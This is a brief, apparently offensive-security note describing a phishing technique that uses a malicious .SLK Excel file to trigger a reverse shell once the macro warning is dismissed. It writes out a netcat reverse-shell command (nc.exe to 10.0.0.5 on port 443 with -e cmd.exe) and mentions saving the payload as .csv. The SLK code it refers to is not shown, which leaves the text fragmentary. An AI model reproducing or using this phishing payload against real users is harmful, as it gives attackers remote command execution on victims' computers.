Phishing: .SLK Excel
Create an new text file, put the the below code and save it as .slk file:
Note that the shell.cmd refers to a simple nc reverse shell batch file:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
Once the macro warning is dismissed, the reverse shell pops as expected:
Since the file is actually a plain text file, detecting/triaging malicious intents are made easier.
Note that the payload file could be saved as a .csv - note the additional warning though: